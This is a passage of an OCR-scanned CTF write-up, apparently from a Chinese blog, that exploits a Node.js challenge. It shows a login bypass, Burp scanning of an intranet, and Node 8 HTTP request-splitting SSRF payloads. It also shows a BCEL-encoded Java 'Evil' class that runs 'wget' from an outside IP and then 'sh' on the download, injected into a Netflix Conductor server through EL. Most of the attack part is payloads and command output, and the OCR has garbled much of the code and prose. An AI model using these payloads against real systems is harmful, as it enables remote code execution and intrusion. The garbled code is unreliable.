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Jdiv><div class="login’><form action="login” method="get”><input name="username” value="guest”/>(input name="password” value="guest”/><button type="submit >Logind/buttor>C/form><!-— there is something interesting in /source——></div></html>

const express = require('express')

const router = express.Router()
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isIp = require('is-ip')

IP = require('ip')
UrlParse = require('url-parse')
{sha256, hint} = require('./utils")
salt = 'nooooooooodejssssssssss8 issssss_beeeeest'
adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))
const port = process.env.PORT || 3000
function formatResopnse(response) {
if(typeof(response) !== typeof('"')) {
return JSON.stringify(response)

} else {
return response

function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '")

return isIp(host) && IP.isPublic(host)

function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname
return !pathname.startsWith('/flag')

function OTHER _WAF(url) {

return true;

const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]

router.get('/', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {

res.redirect('/index")

b

router.get('/login', (req, res, next) => {

const {username, password} = req.query;

if(lusername || !password || username === password || username.length === password.length || username === 'adm
in') {
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))

req.session.admin = hash === adminHash //XBE4ireq.session.admin, &N HARFHRAIW & 4

res.redirect('/index’




1}

router.get('/index"', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {

res.redirect('/login')
} else {
res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())})

1)

router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index")

}
const url = decodeURI(req.query.url);

console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

if(!status) {
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get( http://127.0.0.1:${port}/search?url=${url} )
res.render('base’', response.data)
} catch(error) {
res.render('base', error.message)

router.post('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index")
¥
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post( http://127.0.0.1:%${port}/search?url=${url} )

res.render('base', "Something needs to be implemented")

router.all('/search', async (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})

const result {title: 'Search Success', content:

const method = req.method.tolLowerCase()
const url = decodeURI(req.query.url)
const data = req.body

try {
if(method == 'get') {
const response = await axios.get(url)




result.content formatResopnse(response.data
} else if(method == 'post') {
const response await axios.post(url, data)

result.content formatResopnse(response.data)
} else {

result.title = 'Error'

result.content = 'Unsupported Method'

}
} catch(error) {

result.title = 'Error'
result.content = error.message

return res.json(result)
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router.get('/source', (req, res, next)=>{
res.sendFile( _ dirname + "/" + "index.js");

})

router.get('/flag', (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'No Flag For You!'})

}

return res.json({hint: hint})

)

module.exports = router
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k) => {

password} req.query;
if(lusername || !password || username === password username.length === password.length || username === 'admin’) {

1
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(salt + username) + (salt + password))

adminHash

('/in

(

{u

ername, password} = req.query;

if(lusername || !password || username === SWOIC username.length === word.length || username === "admin') {
res ("login')
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req.session.admin

router.get(’/login’, (req, res, next) => {
const {USEFnamEJ password} = req.query;

if(lusername || !password || username === password username.length === password.length || username === 'admin') {
re ('login’)

hash = ( (salt + username) + (salt + password))
req.session.admin = hash === adminHash /B & plirec ion.admin, &

('/index")
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router. J/index", res, next) => {
session.admin == req.session.admin

r (' /login')
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: (url) { /| !
host = new UrlParse{url} et

return (host)
pathname = new HrlPaP:
pathname.

(url) {

nst WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF] X monstergg
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if(!status) {
res. ('base’, {title: 'WAF', content: ere is the waf..."})

await axios. http 27.08.8.1:%{port}/search?url=${url} )
, respons

, error.message)
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router. " , async (req, res, xt) =>» {
: (req.ip)){
({title: "Error', content: 'You can only use proxy to ace

{title: 'Search Success', content:

req.method. ()
{req.query.url)
req.body CSDN @Imonstergg
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await axios. (url)
lt content (response.data)
if{method =
i b (url, data)
1t.content (response.data)
else {
result.title = "Error'
result.content = 'Unsupported Method'
¥
- catch(error) {
result.title = 'Error
result.content = error.message
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return res. (result) CSDN @Imonstergg
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[ ® | top¥ | @  Filter 2 Issues: B 2
» = 2 messages salt = 'noooocoooodejssssssssss8_issssss_beeeeest’

O No userme "noocoooooodejssssssssssB_issssss_beeeeest”
© Failed to load resource: net::ERR_CONNECTION TIMED OUT xvitgb_782kBajCBr@GIs..2160-p-k-no-nd-mv:1
» @ 2errors . ~ o o - - _ -
© Failed to load resource: net::ERR_CONNECTION_TIMED_OUT xvtq6_782kBajCBroc 2168-p-k-no-nd-mv:1
No warnings ‘admin’+salt
@ Noinfo "adminnooooooooodejssssssssss8_issssss_beesesst”
£ No verbose ['admin’]+salt

“adminnooooooooodejssssssssss8_issssss_beeeeest”
‘admin’.length
5

['admin’'].length

1
‘admin’===["admin"]
‘!) false
>
Console  What's New X Search C5DN @lrnc ISTErZee
XEREEENGS LM T AER, ARG, NXBERMAEF S, #SErr DUHEA T PLasd &4 R )
C @ Ted5ebhbb-cb0a-4e09-ba80-5aa186548d90.node4.buuoj.cn:81/login?username[]=admin&password=admin
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NodeJS R4 2R\ FF7E 3000 5 1, BT BARRATH http://0.0.0.0:3000
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{"title":"Search Success","content":"{\"hint\":\"someone else also deploy a netflix conductor server in Intranet

2\"}")

RRBAE N M A EE T —A Netflix Conductor Server. Netflix Conductor & Netflix 71 & i1 — Kk TAEH 4 HEHI 51 %, google—
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[Target I Positions T Payloads I Options ]

Ll,l Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various
and each payload type can be customized in different ways.

Payload set: | 1 YJ Payload count: 255

Payload type: | Numbers YJ Request count: 255

LlJ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Type: ® Sequential (_) Random

From: 1

To: 255

Step: 1

How many:

Base: ® Decimal () Hex Lol vlmonste g8

HAIER, Ni%#10.0.167.9

|| Filter: Showing all items |[



are
an| Request 4| Payload | Status | Eror | Timeout | Length | Comment
— =
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11 11 200 L L] 706 CSDN @lmonsterge
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D YouTube 9 i@ By @iz B= webTE 7 trick python HEEN

RCE
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XEFIHE com.sun. org.apache.bcel.internal.util.ClassLoader J]El%ﬁ*zﬂ]*’A]EE‘E’\]PE%%E’\JE?’QEE%EEEE
AT SRR S
) RS
BRI ITI java £(0F0M0 T iR
RSt
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public class Evil {
public Evil() {

try {
Runtime. ). ("touch /tmp/pwned”);
} catch (Exception e) {
e. );
}
}
public static void main(String[] args) {
}
}
BEEMIEN class HE beel MBEIFASH, WIEH EL FE, (FA nane BIERIE: CSDN @lmonstergg

public class Evil
{
public Evil() {
try {
Runtime.getRuntime().exec("wget http://42.193.22.50:8080 -0 /tmp/lmonstergg");
}
catch (Exception ex) {
ex.printStackTrace();

public static void main(final String[] array) {

}
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RIE IR B — Evil.class, F A BCELCodeman ##:5 BCEL %wf%.

TEH W, iEsrcH IMain.javadi ¥ akclass:
R 5 B Tjarf:

jar -cvfm BCELCodeman.jar ../META-INF/MANIFEST.MF Main.class

EBELEsrc H TR, WRAEMNENER, 5EHMMKERERSREAEIMaInE, BT — THERENRBEEK

3

iX B HEEVil javads ¥ Hclass
R ¥ BCELYwAY :

an-main\BCELCodeman-main\src]$ dir
Data

\Sessions\BCELCodeman-main\BCELCodeman-main\src BIE 3

BCELCodeman-main\BCELCodeman-main\src]$ jar -cvfm BCELCodeman.jar ../META-INF/MANIFEST.MF Main.class
=

: Main.class(¥r A = 2806) (i = 1597) (/&

BCELCodeman-main\BCELCod \ i i .jar e Evil.class
] d D

9%yalnn$fO$B$7F$50$976d4BSCEASA

de BCELcode successfully. Have fun :)

$$BCELSS$$1$8bSISASASASASASASAMQSS5do$SASUS3dIb3$7cSy$ac$8bs40sx$ubd8seasd2$3eH5$b2HIASdasF8bSFO$89$b6F$88%7d$e8KS)
97%$edd$9d$ca$7ed$zj$f$91$cfSbcP$e3$83$3F$c0$1$d52g$d3$94$s$3a$c9$9c$99%7bsee$99s$efccsfc$bo$fe$f5$h$40$X$dbsGr
xd$20$82j$0$8F$d5$FaDGcd$40$Gu$jOulod$F7ESm$ed4$7b$86Ts$e7$LCHFaCx$c6$2$8aCIR$TO$Cc3$b9$3F$el1$F1$d8$99L$89%v$8cSa
4$e3%7e$3bp$a2$gNN$d7HSee$3b$0$60$a860$86%e7$ce$85c0$9d$cO$b3G2W$81$b7$a7$ec$8cQ8$8F$5d$feQsus8bsfchedBLS5bIgS0
$PC$c7$a6$89gx$cesdosfe$eeqi$7d$952%easdbvib7$d3z$F3n$b7$d5$e9$ba$de$b6sfbbdviatmébd$3e$sb21$e9G$f6$d4$P$83$99%¢
4$b1$e7$99$b0$d0$60X $d5$i$5c$ba$3c$92$0$ML1$c1$a0$c6T$z$86$d21q49%e7$aedusafa8scf$f3$403K$9f$3a3%3a8%fe$5dPise
etM$FF$d1$ec$o1$rsbried$s$c3$8bse6$7f$aez$8F$Fasus87$$$9F$cdse8%401%a2%a4L$dem$i$3b$$GED$3a$+d$87$g$g$982$C$c2$H
$U$9dR$ac$d17$7dy$F$f6$T$dazj$89%F4$F1$P$e4$86$af$96$c8$$HEOSFEBIr$fabsNSs$e9%ea$c8$S$a6$88%cd$Q$9f$a7$8c$8e29W$)
c8$b1$40$99$S$bash$Csac$e3$a1$82b%$3a$d1$940$ab$d5h25$X$cOF$ZF$T$a2$40$b8$964$b7$Fe$Xn$82%50$c2BSCIASA
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BRI SER A E, BT REEEEMER class XH@EE beel wIGEIERNSH, MG EL RiXX, 1N name JBIEK
fA:

KEEMIER class MBI beel IIBIENZE, MWISH EL FTATL, EA nane BHRIE: B&
PN
curl --location --request POST "http://localhost:8e8e/api/metadata/taskdefs’ \ Eag T
--header 'Content-Type: application/json® \ b= )z
--data-raw "[{ sz
"name”: "${"\"' ncr
"\"".getclass().forName('\"' "com.sun.org.apache.bcel.internal.util.ClassLoader'\"'").newInstance().] - -
“ownereEmail”: "test@example.org”, mREE
"retryCount”: 3, BEHLIE

"timeoutseconds™: 120,

"inputKeys": [
"sourceRequestId”,
"qcElementType™

]J
"outputKeys”: [

"state",

"skipped™,

"result”
15
"timeoutPolicy"”: "TIME OUT WF",
"retryLogic”: "FIXED",

"retryDelaySeconds”: 660@,

"responseTimeoutSeconds™: 3600,

"concurrentExecLimit": 10,

"rateLimitFrequencyInSeconds™: 6@,

"rateLimitPerFrequency”: 50,

"isolationgroupid”: "myIsolationGroupTd” C5DN @lmonstergg

MG EAHET json B,

[{"name":"${'1"'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass(
'$SBCELSS$S1$8bSISATASASATASASAMQSSd0SSASUS3dSb3$7cSySact8bs40$x$usd8teasd2$3eH5$b2HIASda$F8bFT0$89$b6F$88%7d$e8K]
$97%edd$9d$cas7ed$Zj$ff$91$ctbcP$e3$83$3F$c0$1$d52g$d3$94$s$3a$c9$9c$99%7b%ee$99s$efdccfcsbosfesfs5$h$40$X$dbsG
rxd$a0$827$0$8f$d5$faDG$cd$40$Gu$jOulodsf7E$m$e4$7b$86Ts$e7$LCSFaCx$c6$2$8aCREFO$Cc3$b9$3F$e1$F1$d8$99L$89%v$8CH
24%$e3$7e$3bp$a2$qNN$d7HSee$3b$0$60$2860$86$e7$ce$85c0$9d$cO$b3G2IWE81$b7$a7$ec$8cQ8$8F$5d$FeQIus8bsfc$e@BLSSbIgS
0$PC$Cc7$a6$89gx$ce$dosfe$eeqi$7d$952%ea$dbvib7$d3z$F3n$b7$d5$e9$ba$desb6$fbsbdviatmpbd$3e$b21$e9G6$6$d4$P$83$99%
e4$b1$e7$99$b0$d0$60X $d5$i$5cHba$3c$92$0$ML1$c1$a0$c6T$2$86$d2I1q49%e7%aed$usafsa8sctf3$405K$9f$3a3%a8%fe$5dPis

ee$M$Ff$d1$ec$o1$ribfed$$$c3$8bse6$7f$aez$8F$Fasu$87$$$9f$cd$e8$401%a2%a4L$dem$i$3b$$GED$3a$Fd$87$g$2$982$C$c2$
H$U$9dR$ac$d1Z2$7dy$F$F6$T$dazj$89$F4$F1$P$e4$86%at$96$c8$$HSOSFIBIr$facINSs$e9$easc8$S$a6$88$cd$Q$9f$a7$8c$8e29u|
$c8$b1$40$99$S$b4$h$CSab6$e3$a1$82b$3a$d1$940$ab$d5h25$X$cOF$ZF$T$a2$40$5b8$964$b7$Fe$Xn$82%0$c2BSCSASA" ) .newInsta

nce().class}","ownerEmail": "test@example.org","retryCount":"3","timeoutSeconds":"1200", "inputKeys":["sourceReque

stId","qcElementType"], "outputKeys":["state","skipped", "result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIX

ED","retryDelaySeconds":"600", "responseTimeoutSeconds":"3600","concurrentExecLimit":"100", "rateLimitFrequencyInS

econds":"60","rateLimitPerFrequency":"50","isolationgroupId": "myIsolationGroupId"}]

5 R BATHIE R .



POST /api/metadata/taskdefs? HTTP/1.1

Host: 10.0.241.14:8080

Content-Type: application/json

cache-control: no-cache

Postman-Token: 7bd50bel-2152-46d6-bl6e-8245df0141dc

[{"name":"${'1"'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass(
"$$BCEL$$$1$8bSISASASASASASASAMQSS5do$SASUS3dIb3$7cSy$ac$8bs40sx$usd8seasd2$3eH5$b2H1IASdasF8bSTO$89$b6F$88%7d$e8K
$97%edd$9d$cas7ed$Zj$r$91$ctbcP$e3$83$3F$c0$1$d52g$d3$94$s$3a$c9$9c$99%7b%ee$99s$efbccfcsbosfesfs5$h$40$X$dbsG
rxd$a0$82j$0$8f$d5$FaDGcd$40$Gu$jOulod$f7ESm$ed$7b$86Ts$e7$LCHFaCx$c6$2$8aCIR$FO$C3$b9$3F$e1$F1$d8$99L$89%v$8cH

24%$e3$7e$3bp$a2$qNN$d7HSee$3b$0$60$2a860$86%e7$ce$85c0$9d$cO$b3G2W$81$b7$a7$ec$8cQ8$8F$5d$FeQSus8bsfcse@BLSSbIgH
0$PC$c7$a6$89gx$ce$dosfeseeqi$7d$952%eatdbvib7$d3z$F3n$b7$d5$e9%basdesb6$fbsbdviatmebd$3e$b21$e9G$F6$d4$P$83$99%)
e4$b1$e7$99$b0$d0$60X $d5$i$5cHba$3c$92$0$ML1$c1$a0$c6T$2$86$d2]1q49%e7%aedSusafsas8sctf3$403K$9f$3a3%a8%fe$5dPis
ee$MPFf$d1$ec$91$ribfeds$$c3$8bse6$7F$aez$8F$Fasus87$$$9f$cd$e89401%a2%a4L$dem$i$3b$$GED$3a$Fd$87$g$2$982$C$c29)
H$U$9dR$ac$d1Z2$7dy$F$F6$T$dazj$89$f4$F1$P$e4$86%af$96$c8$$HEOSF$BSr$fabIN$s$e9$ea$c8$S$a6$88$cd$Q$of$a7$8c$8e29M
$c8$b1$40$99$S$b4$h$Ca6$e3$a1$82b$3a$d1$940$ab$d5h25$X$cOF$ZF$T$a2$40$5b8$964$b7$Fe$Xn$82%0$c2BSCSASA" ) .newInsta
nce().class}","ownerEmail": "test@example.org","retryCount":"3","timeoutSeconds":"1200", "inputKeys":["sourceReque
stId","qcElementType"], "outputKeys":["state","skipped", "result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIX
ED", "retryDelaySeconds":"600", "responseTimeoutSeconds":"3600", "concurrentExecLimit":"100", "rateLimitFrequencyInS

econds":"60","rateLimitPerFrequency":"50","isolationgroupId": "myIsolationGroupId"}]

XERMEBEBIFELEBRIE S EIE KT %, HZA /proxy #H O R EEK A2 GET ERAMAIZK POST #EK, HATiZanf
XA POST iR A H %MB? F[E %] NodeJS AR EE 7 KA E

.NodeJS 8 i& R 743 Js 1

HATETLLE R, /proxy I GET 4 URL ¥ ATRATA . H axios i http ¥ SRR 418 F H9 2 NodeJS 19 http FESRSEHR,
TR AT P22 R F http & NodedS 8 B [)1E K #7 0- IR R #i& POST iE K.

BATRAA /NI

docker pull node:8.13.0-alpine

docker run -itd --name node8.13-test node:8.13.0-alpine
docker exec -it node8.13-test /bin/sh

# 1 Adocker BHAT

npm i axios

node

LTHX Ay 4 AT LA B ERAT T fEdocker e — AN S, RERATTUAEEH RS S LE— MmO, B2 eEd —T
nodeP AT a1 F ARG

const axios = require('axios')
var s = ‘http://VPSIP/?param=x\u{0120}HTTP/1.1\u{@10D}\u{@10A}Host: {\ue120}127.0.0.1:3000\u{010D}\u{010A}\u{@10D
}\u{@10A}GET\u{0120}/private’

axios.get(s).then((r) => console.log(r.data)).catch(console.error)



> const axios = require('axios')
> var s = 'http://42.193.22 /7param=x\u{@120}HTTP/1. 1\u{016D}\u{@10A}Hos t: {\ub120}127.0.0.1: u{016D\u{010A\u{010D}\u{010A}GET\u{0120}/private"’

or)

dumaln
Domain {
domain: null,
_events: { error: [Function: debugDomainError] },
tsCount

CSDN @Imonste

ubuntu@VM-0-5-ubuntu:~% sudo nc -lvvp 80
Listening on [0.0.0.08] (family @, port 80)
Connection from 42.193.22.50 34534 received!
GET /7param=x HTTP/1.1

Host:%7B %/D0127.0.0.1:3

GET /private HTTP/1.1

Accept: appllcatloﬂf]son text/plain, */*
User-Agent: : /0.24.0

Host: 42.193 §

Connection: close

CSDN @ S

B —A POST KXk

var s = 'http://VPSIP/\u{0120}HTTP/1.1\u{010D}\u{010A}Host: {\u0120}127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A
}POST\u{0120}/search?url=http://10.0.66.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{@16D}\u{@10A}HOSt:127.0.
0.1:3000\u{010D}\u{0@10A}Content-Type:application/json\u{@10D}\u{@10A}Content-Length:15\u{@10D}\u{©10A}\u{010D}\U
{010A}1monstergg~~\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{@10D}\u{P10A}GET\u{@120}/private"

ubuntu@VM-8-5-ubuntu:~% sudo nc -lvvp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from 42.193.22.50 4n;16 received!
GET / HTTP/1.1

Host:%7B %/D127.0.0.1:3000

POST /search?url=http://10.0.66.14:8080/api/metadata/taskdefs HTTP/1.1
Host:127.0.0.1:3000

Content-Type:application/json

Content-Length:15

Lmonstergg~~

GET /private HTTP/1.1
application/json, text/plain, */*
gent: axios/0.24.0

CSDN @ er
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https://blog.csdn.net/cjdgg/article/details/119068329?spm=1001.2014.3001.5501
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Wit it 72
I B B B A 4 i payload
iX AN B i BCELR 4 Evil.java B i i $4.47 dr £ I wget http://42.193.22.50:8080 -O /tmp/imonstergg i 7= 4= i

post_payload = '[\u{017b}\u{@122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.
sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$1$8bSIFASASATASA
$A$AMQ$5do$SASUS3dIb3$7cSy$act8bs40sx$usd8seasd2$3eH5$b2H1IASdasF8bsFO$89$b6F$88$7d$e8K$97$edd$9d$cat7ed$zj$F$91
$cf$bcP$e3$83$3F$c0$1$d52g$d3$94$s$3a$c9$9c$99%7bsee$99s$ef$ccsfcibosfesf5$h$40$X$dbsGrxd$an$82j$0$8F$d5$faDGscd
$40$Gu$joulodsf7E$m$ed4$7b$86Ts$e7$LCHFaCx$c6$2$8aCHR$FO$Cc3$b9$3F$el1$F1$d8$99L$89%v$8c$adse3$7e$3bpsa2$gNN$d7HSee
$3b$0$60$2860$86%e7$ce$85c0$9d$cO$b3G2$W$81$b7$a7$ec$8cQ8$8F$5d$FeQiu$8bsfc$edOBLESbIg0$PCc7$a6$89gx$ce$dotfese
eqi$7d$952%ea$dbvib7$d3z$f3n$b7$d5%$e9$ba$de$b6$fbbdviatmébd$3e$b21$e9G$F6$d4$P$83$99%e4$b1$e7$99$b0$d0$60X_$d5%
1$5c$ba$3c$92$0$ML1$c1$a0$c6T$2$86$d2]1q49%e7$aedusat$a8icf$f3$40$K$9f$3a3%a8%fe$5dPiteetMPffiditec$olsribfied
$c3$8b%e6$7f$aez$8F$Fasu$87$$$9f$cd$e8$401%a2%a4L$dem$i$3b$$GED$3a$Fd$87$g$2$982$C$c2$HEUSOdRSac$d1Z$7dy$F$F6$TS
dazZj$89%14$f1$P$e4$86%af$96$c8$$HEISFIBSr$Fa6$N$s$e9$ea$c8$S$a6$88%cd$Q$9f$a7$8c$8e29W$c8$b1$40$99$S$bash$CEabse
3$21$82b$3a$d1$940%$ab$d5h25$X$cOF$ZF$T$a2$40$b8$964$b7$Fe$Xn$82$0$c2B$CA$A\U{0127}) .newInstance().class\u{0@17d}
\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}test@example.org\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122
},\u{@122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{@122}sourceRequestId\u{0122}
,\u{0122}qcElementType\u{0122}],\u{@122}outputKeys\u{0122}:[\u{@122}state\u{0122},\u{0122}skipped\u{0122},\u{012
2}result\u{0122}], \u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT WF\u{0122},\u{0122}retrylLogic\u{@122}:\u{@122}F
IXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{012]
2}3600\u{0122},\u{@122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{@122}rateLimitFrequencyInSeconds\u{012]
2}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:
\u{0122}myIsolationGroupId\u{©122}\u{017d}]"

console.log(encodeURI(encodeURI(encodeURI( 'http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{@10A}HOSt:127.0.0.1:30
0\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0@120}/search?url=http://10.0.130.9:8080/api/metadata/taskdefs\u{0120}HT
TP/1.1\u{010D}\u{@10A}Host:127.0.0.1:3000\u{010D}\u{0@10A}Content-Type:application/json\u{010D}\u{0@10A}Content-Le
ngth:' + post_payload.length + '\u{010D}\u{@10A}\u{010D}\u{@10A}"' + post_payload + '\u{@10D}\u{@10A}\u{010D}\u{9
10A}\u{@10D}\u{010A}\u{@10D}\u{@10A}GET\u{@120}/private'))))

EATERN GREMZR—) (GR—IIT 555 T L B R RTS FRBALL)



http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AH0st:127.0.0.1:3000%2525C4%25258D%2525C4%2|
5258A%2525C4%25258D%2525C4%25258AP0ST%2525C4%2525A0/search?url=http://10.0.130.9:8080/api/metadata/taskdefs%2525
C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AH0ost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:applica
tion/json%2525C4%25258D%2525C4%25258AContent-Length:1539%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A
%325255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2 : %2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7,
.getClass().forName(%2525C4%2525A7com. sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7) .newInstance()
.loadClass (%2525C4%2525A7$$BCEL$$$1$8bSISASASASASASASAMQSS5d0$SASUS3d$b3$7cSySacs8bs40$xsusd8%ea$d2$3eH5$b2HIASdA
$F8b$T0$89$b6F$88%$7d$e8K$97$edd$9d$ca$7ed$Z2j$f$91$cfSbcP$e3$83$3F$c0$1$d52g$d3$94$s$3a$c9$9c$99%7b%ee$99s$ef$cc
$Fc$b9$fe$f5$h$40$X$db$Grxd$a0$82j$0$8F$d5$FaDGPcd$40$Gu$jOulodsF7ESmEe4$7b$86Ts$e7$LCEFaCx$c6$Z2$8aCER$FO$Cc3$b9Y)
3f$el1$1$d8$99L$89%v$8c$ad$e3$7e$3bpba2$gNN$d7HSee$3b$0$60$a860$86%e7$ce$85c0$9d$coO$b3G2$W$81$b7$a7$ec$8cQ8$8F$5
d$feQbus8bsfc$e@BLSSbIg$0$PCc7$a6$89gxPcesdOsfeseeqi$7d$952%easdbvib7$d3z$F3n$b7$d5$e9%ba$de$b6$fbsbdviatmebd$3)
e$b21$e9G$T6$d4$P$83$99%e4$b1$e7$99$b0$dO$60X_$d5$i$5ctbas3c$92$0$ML1Sc1$a0$c6T$2$86%3d2]1g49%e7$aed$usatsa8bcfif3
$40$K$9f$3a3%a8%fe$5dPifeetMFfodlsec$o1$ribfsedssdc3$8bseb6$7f$acz$8F$Fasus87$$$9F$cdse8%401%a2%a4L$dem$is3b$$GH)
D$3a$fd$87$g$2$982$C$c2$HIUSOdR$ac$d1Z$7dy$F$F6$T$dazj$89%F4$5F1$P$e4$86%ar$96$c8$$HEOSFEBSr$FacsNSs$e9%ea$c8$S$a
6$88%cd$Q$9f$a7$8c$8e29W$c8$b1$40$99$S$b4sh$CSab$e3$a1$82b$3a$d1$940$ab$d5h25$X$cOF$ZF$T$a2$40$b8$964$b7$Fe$Xn$8
2$0$Cc2B$CEA$A%2525C4%2525A7 ) .newInstance().class%2525C5%2525BD%2525C4%2525A2 , %2525C4%2525A2ownerEmail%2525C4%252)
5A2:%2525C4%2525A2test@example.org%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2 :%2525C4%2525A23%2525C4%2)
525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2 : %2525C4%2525A21200%2525C4%2525A2 ,%2525C4%2525A2inputKeys%2525C4
62525A2:%25255B%2525C4%2525A2sourceRequestId¥%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D, %252
5C4%2525A20utputKeys%2525C4%2525A2 : %25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,
%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%25
25C4%2525A2,%2525C4%2525A2retrylogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySec
onds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2 ,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2 : %2525C4%25
25A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2 , %2525C4%2,
525A2ratelLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequenc
y%2525C4%2525A2 :%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsol
ationGroupId’%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%2)
5258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private

XA~ B H 1 BCELRZ %4 Evil java 2 i i #4471y 4 4 sh tmp/lmonstergg B 7= 4= [

post payload = '[\u{@17b}\u{©122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.
sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$1$8bSISASASASASA
$ASAMQScbN$c2$40$U$3dS$k$852%e4$r$usF8$CH5d$I1$9a$c8$c6$j$c6$8d$d1$VE3esoD$Xn$yuR$HiKSca$40$F8$p$d71$dosb8$rO$DST
c$u$FSNc$caD$t$99s$e7$9e$7bse6$dcy$bcs7f$bctbe$B8ScOSb6$81SESI6IMEUPLS6OYS 55V $r$D1$94ubacteaXc$88$1$K0$c8$p$8
6H$ad$7e$cd$Q$3d$f6$efoCsbasr$3ct7es3ersbbs3csed8Xsdd$3e1$a9$b6$basectc73k$Qbeb$elee$S$co$5dKx$Mc5$dam$babg$8dsa
dF$dF$F2$9cF$5b$GSc2s$9a$casceh$fbsa3$co$e6$a7BY$q0$c6$a2$bfeatt$s$920t$ac$ob$d8$c0$sCngf8PiHWEdO$e8$bbsbe7$94%3
cp$i$TIVT$Z$F25s$d7$93$89%cd$HR$T8$9€$89$23Y$d4Z$b91d$e6$8a$8bn$8F$db$92$n$3bsa7$aeF$9e$Us$$56$1$$$7F$92BSadsded)
fa$a3i$92%r$9fp$obata77$fe$cfe$7eQ$97$810$F3$e1$906$a4$HT$94%e1$cbt$CEcb$e6$a8B$a7$XWCEDS$97$q$5c$a0$ec$8er$8dbgd)
7$Z2%ec$FZ2$$2C$f4$e6$1$89%d6$desMPF1$v$as$a2HINCE1$a3$c1$9q$5d$Z2q$c2$1$b11$e2$93T$d1$91$r$e7$C9%a6$a8$92$81$F6I%c
Ot$y$WHGCMSF6$bb$5b$89$sSs$g$$$94a$3c$qR$84$b9$FOP$F9%_r$es$F7$WSqSCIA$A\U{0127}) .newInstance().class\u{017d}\u{
0122},\u{0122}ownerEmail\u{0122}:\u{0122}test@example.org\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\
u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputkKeys\u{0122}:[\u{@122}sourceRequestId\u{0122},\u
{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}n
